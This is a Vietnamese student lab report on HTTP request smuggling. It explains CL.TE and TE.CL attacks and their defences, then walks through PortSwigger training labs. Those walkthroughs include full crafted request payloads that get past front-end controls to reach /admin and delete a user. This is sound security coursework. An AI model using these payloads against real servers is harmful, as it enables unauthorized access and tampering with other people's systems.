Lab thực hành môn an toàn thông tin; tên lab: HTTP request smuggling 12LAB(Số chẵn 1-20, 3) | Tiểu luận môn An toàn Thông tin Trường đại học sư phạm kỹ thuật TP. Hồ Chí Minh
Tấn công HTTP Request Smuggling là một kỹ thuật khai thác lỗ hổng trên các ứng dụng web, thường dựa trên sự không nhất quán trong cách các máy chủ xử lý chuỗi yêu cầu HTTP. Đây là một dạng tấn công nguy hiểm, có thể cho phép kẻ tấn công vượt qua các biện pháp bảo mật, truy cập trái phép dữ liệu nhạy cảm, hoặc trực tiếp xâm phạm người dùng khác của ứng dụng. Tài liệu giúp bạn tham khảo, ôn tập và đạt kết quả cao. Mời bạn đọc đón xem!
Môn: An toàn thông tin (INSE330380)
Trường: Đại học Sư phạm Kỹ thuật Thành phố Hồ Chí Minh
Thông tin:
Tác giả:
Preview text:
BỘ GIÁO DỤC VÀ ĐÀO TẠO
TRƯỜNG ĐẠI HỌC SƯ PHẠM KỸ THUẬT TP. HCM
KHOA CÔNG NGHỆ THÔNG TIN
LAB THỰC HÀNH MÔN AN TOÀN THÔNG TIN
TÊN LAB : HTTP REQUEST SMUGGLING
12LAB(Số chẵn 1-20, 3)
GIÁO VIÊN HƯỚNG DẪN: TS. Nguyễn Thị Thanh Vân Nhóm 6: STT Họ và Tên MSSV 1 Lưu Xuân Dũng 22110300 2 Vương Đức Thoại 22110430 3 Phan Việt Hưng 22110341 4 Hồ Văn Đa 22110305
………………………TP. Hồ Chí Minh 26, tháng 09 năm 2024
Nhận xét của giáo viên:
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
...................................................................................................................................................... ..........
............................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
Ngày. tháng. năm 2024.
Giáo viên chấm điểm Mục Lục
I. Nội dung của chủ đề............................................................................................................................................3
1. Mô tả đặc điểm, nguyên tắc hoạt động của dạng tấn công web...........................................................................3
2. Phương pháp ngăn chặn.......................................................................................................................................4
II. Các bước thực hiện bài Lap.............................................................................................................................4
1. Lab 1 - HTTP request smuggling, confirming a CL.TE vulnerability via differential responses.......................5
2. Lab 2: Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses.................7
3. Lab 3 Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability. 10
4.Lab 4: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability..........14
5. Lab 6 :Lab: Exploiting HTTP request smuggling to capture other users' requests............................................20
6. Lab 8: Lab Response queue poisoning via H2.TE request smuggling...............................................................25
7. Lab10 : HTTP/2 request smuggling via CRLF injection...................................................................................30
8. Lab12: CL.0 request smuggling.........................................................................................................................39
9. Lab14: HTTP request smuggling, basic TE.CL vulnerability............................................................................43
10. Lab 16: Exploiting HTTP request smuggling to perform web cache poisoning..............................................45
11. Lab 18: Lab Web cache poisoning via HTTP/2 request tunnelling................................................................51
12. Lab 20: Client-side desync.......................................................................................................................57 I.
Nội dung của chủ đề
1. Mô tả đặc điểm, nguyên tắc hoạt động của dạng tấn công web
1.1. Đặc điểm của HTTP Request Smuggling
Tấn công HTTP Request Smuggling là một kỹ thuật khai thác lỗ hổng trên các
ứng dụng web, thường dựa trên sự không nhất quán trong cách các máy chủ xử lý
chuỗi yêu cầu HTTP. Đây là một dạng tấn công nguy hiểm, có thể cho phép kẻ tấn
công vượt qua các biện pháp bảo mật, truy cập trái phép dữ liệu nhạy cảm, hoặc trực
tiếp xâm phạm người dùng khác của ứng dụng.
1.2. Nguyên tắc hoạt động của HTTP Request Smuggling
Tấn công HTTP Request Smuggling dựa vào sự khác biệt trong cách máy chủ
front-end và back-end xử lý yêu cầu HTTP, thường là do mâu thuẫn giữa hai tiêu đề
Content-Length và Transfer-Encoding:
Các cách tấn công phổ biến:
a. CL.TE (Content-Length & Transfer-Encoding): Máy chủ front-end dựa
vào tiêu đề Content-Length, trong khi máy chủ back-end dựa vào
Transfer-Encoding. Kẻ tấn công có thể lợi dụng sự khác biệt này để
chèn các yêu cầu không mong muốn.
b. TE.CL (Transfer-Encoding & Content-Length): Máy chủ front-end xử lý
Transfer-Encoding còn máy chủ back-end sử dụng Content-Length.
c. TE.TE (Transfer-Encoding obfuscation): Cả hai máy chủ hỗ trợ
Transfer-Encoding, nhưng một trong hai có thể bị đánh lừa để không xử
lý tiêu đề này nếu nó bị làm biến dạng (obfuscation) theo cách nhất định.
Cách thức thực hiện: Kẻ tấn công gửi yêu cầu HTTP với cả Content-Length và
Transfer-Encoding, làm cho các máy chủ xử lý khác nhau và kết quả là một
phần dữ liệu trong yêu cầu của kẻ tấn công được coi là yêu cầu tiếp theo. Điều
này có thể giúp kẻ tấn công chèn dữ liệu hoặc thực thi mã trên ứng dụng web.
2. Phương pháp ngăn chặn
Sử dụng HTTP/2 từ đầu đến cuối: HTTP/2 có cơ chế xác định độ dài yêu cầu
đáng tin cậy, giúp giảm thiểu nguy cơ Request Smuggling.
Tiêu chuẩn hóa và kiểm tra yêu cầu: Máy chủ front-end nên chuẩn hóa các yêu
cầu để loại bỏ sự mơ hồ và máy chủ back-end từ chối các yêu cầu vẫn mơ hồ.
Bảo vệ kết nối: Đóng kết nối TCP khi phát hiện yêu cầu không đúng hoặc lỗi
hệ thống khi xử lý yêu cầu.
Giới hạn các kết nối back-end tái sử dụng: Giúp giảm khả năng bị tấn công dựa trên yêu cầu HTTP. II.
Các bước thực hiện bài Lap
1. Lab 1 - HTTP request smuggling, confirming a CL.TE vulnerability
via differential responses
1.1. Mục tiêu: Thực hiện kỹ thuật HTTP Request Smuggling để gửi một yêu
cầu vào back-end server và làm sao để yêu cầu sau đó truy cập vào / sẽ trả về kết quả 404 Not Found. 1.2. Thực hiện:
Bước 1 : truy cập lab và burp
Bước 2 là mở burp truy cập mở request trang lab và send to Repeater sẽ mở
Bước 3 : bấm update Content - Length Bước 4 :
Thông thường, việc sử dụng cả Content-Length và Transfer-Encoding: chunked trong
cùng một yêu cầu là không hợp lệ vì chúng gây ra sự không nhất quán. Trong một
cuộc tấn công Request Smuggling, điều này có thể dẫn đến việc front-end và back-end
server hiểu khác nhau về độ dài và cấu trúc của yêu cầu, dẫn đến việc "smuggling" các
yêu cầu không mong muốn vào back-end server.
GET /404 HTTP/1.1: Đây là phần "smuggled request" thứ hai – một yêu cầu GET
tới /404. Mục tiêu của yêu cầu này là đánh lừa back-end server để gửi yêu cầu tới một trang không tồn tại.
X-Ignore: X: Đây là một header tùy chỉnh để đảm bảo GET /404 không bị nhận diện
như một phần của yêu cầu POST đầu tiên, giúp ngăn máy chủ front-end nhận dạng và chặn yêu cầu này. POST / HTTP/1.1
Host: 0a760010040a496e834d14c500a90036.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/x-www-form-urlencoded Content-Length: 35 Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 X-Ignore: X 1.3 Kết quả
Kỹ thuật này nhằm đưa yêu cầu GET /404 HTTP/1.1 đến back-end server như một
yêu cầu riêng lẻ mà không bị front-end server phát hiện. Sau đó, back-end server sẽ
hiểu GET /404 là một yêu cầu hợp lệ và trả về 404 Not Found cho các yêu cầu tiếp theo tới /.
2. Lab 2: Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses 2.1. Mục tiêu:
Xác định và xác nhận lỗ hổng HTTP Request Smuggling (TE.CL - Transfer-
Encoding: Chunked và Content-Length) bằng cách khai thác sự khác biệt trong
phản hồi để phát hiện sự tồn tại của lỗ hổng này. 2.2. Thực hiện:
Bước 1: Mở brup suite gửi request từ từ client từ Brup suite đến server
Bước 2: Nhấn send to Repeater để gửi một yêu cầu ban đầu vào repeater .
Công cụ này chỉnh sửa các trường Content-Length hoặc Transfer-Encoding để xem
server xử lý như thế nào. Gửi yêu cầu nhiều lần và quan sát các phản hồi khác nhau.
Bước 3: Không được chọn update-Content-Length
Trong Burp Suite, vào menu Repeater và đảm bảo rằng tùy chọn "Update
Content-Length" (Cập nhật Content-Length) đã bị bỏ chọn.
Bước 4: Thay đổi nội dung trong repeater
Sử dụng Burp Repeater, gửi yêu cầu sau hai lần: POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5e POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
Yêu cầu thứ hai sẽ nhận được phản hồi HTTP 404. 2.3 Kết quả
3. Lab 3 Lab: Exploiting HTTP request smuggling to bypass front-end security
controls, CL.TE vulnerability 3.1. Mục tiêu:
- Khai thác lỗ hổng HTTP Request Smuggling (CL.TE - Content-Length và Transfer-
Encoding) để vượt qua các biện pháp kiểm soát bảo mật ở front-end và truy cập trái
phép vào tài nguyên hoặc chức năng bị hạn chế. 3.2. Thực hiện:
Bước 1: Thử truy cập vào /admin và quan sát rằng yêu cầu bị chặn.
Bước 2. Mở burp lấy request ban đầu gửi cho Repeater
Bước 3: Trong Burp Suite, vào menu Repeater và đảm bảo rằng tùy chọn
"Update Content-Length" (Cập nhật Content-Length) đã bị bỏ chọn.
Bước 4.Thay đổi nội dung
Sử dụng Burp Repeater, gửi yêu cầu sau hai lần: POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded Content-Length: 37 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-Ignore: X Bước 5:
Quan sát rằng yêu cầu hợp nhất đến /admin đã bị từ chối do không sử dụng header Host: localhost.
Sử dụng Burp Repeater, gửi yêu cầu sau hai lần: POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded Content-Length: 54 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost X-Ignore: X POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded Content-Length: 116 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost
Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=
3.3 Kết quả: Quan sát rằng bây giờ bạn có thể truy cập vào bảng điều khiển admin.
Sử dụng phản hồi trước đó làm tham chiếu, thay đổi URL của yêu cầu smuggled để xóa người dùng carlos. POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded Content-Length: 139 Transfer-Encoding: chunked 0
GET /admin/delete?username=carlos HTTP/1.1 Host: localhost
Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=
4.Lab 4: Exploiting HTTP request smuggling to bypass front-end security
controls, TE.CL vulnerability. 4.1. Mục tiêu.
Mục tiêu của lab này là khai thác lỗ hổng HTTP Request Smuggling để truy
cập vào một trang quản trị bị chặn, cụ thể là trang /admin, và xóa người dùng có tên "carlos". 4.2. Thực hiện.
Bước 1. Hãy thử truy cập /admin và quan sát xem yêu cầu có bị chặn không.
Bước 2. Trong Burp Suite, hãy vào menu Repeater và đảm bảo rằng tùy chọn
"Cập nhật độ dài nội dung" không được chọn.
Bước 3. Sử dụng Burp Repeater, đưa ra yêu cầu sau 2 lần: POST / HTTP/1.1
Host: 0a32008903c6975883fdbf4c008500c7.web-security-academy.net Content-Length: 4 Transfer-Encoding: chunked 60 POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
Bước 4. Gửi yêu cầu sau 2 lần: POST / HTTP/1.1
Host: 0a32008903c6975883fdbf4c008500c7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 71 POST /admin HTTP/1.1 Host: localhost
Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
Bước 5. Sử dụng phản hồi trước đó làm tham chiếu, hãy thay đổi URL yêu cầu lén lút thành xóa carlos: POST / HTTP/2
Host: 0ae7002a0345804babe7859d0077007c.web-security-academy.net Content-Length: 144 Transfer-Encoding: chunked 87
GET /admin/delete?username=carlos HTTP/1.1 Host: localhost
Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 4.3. Kết quả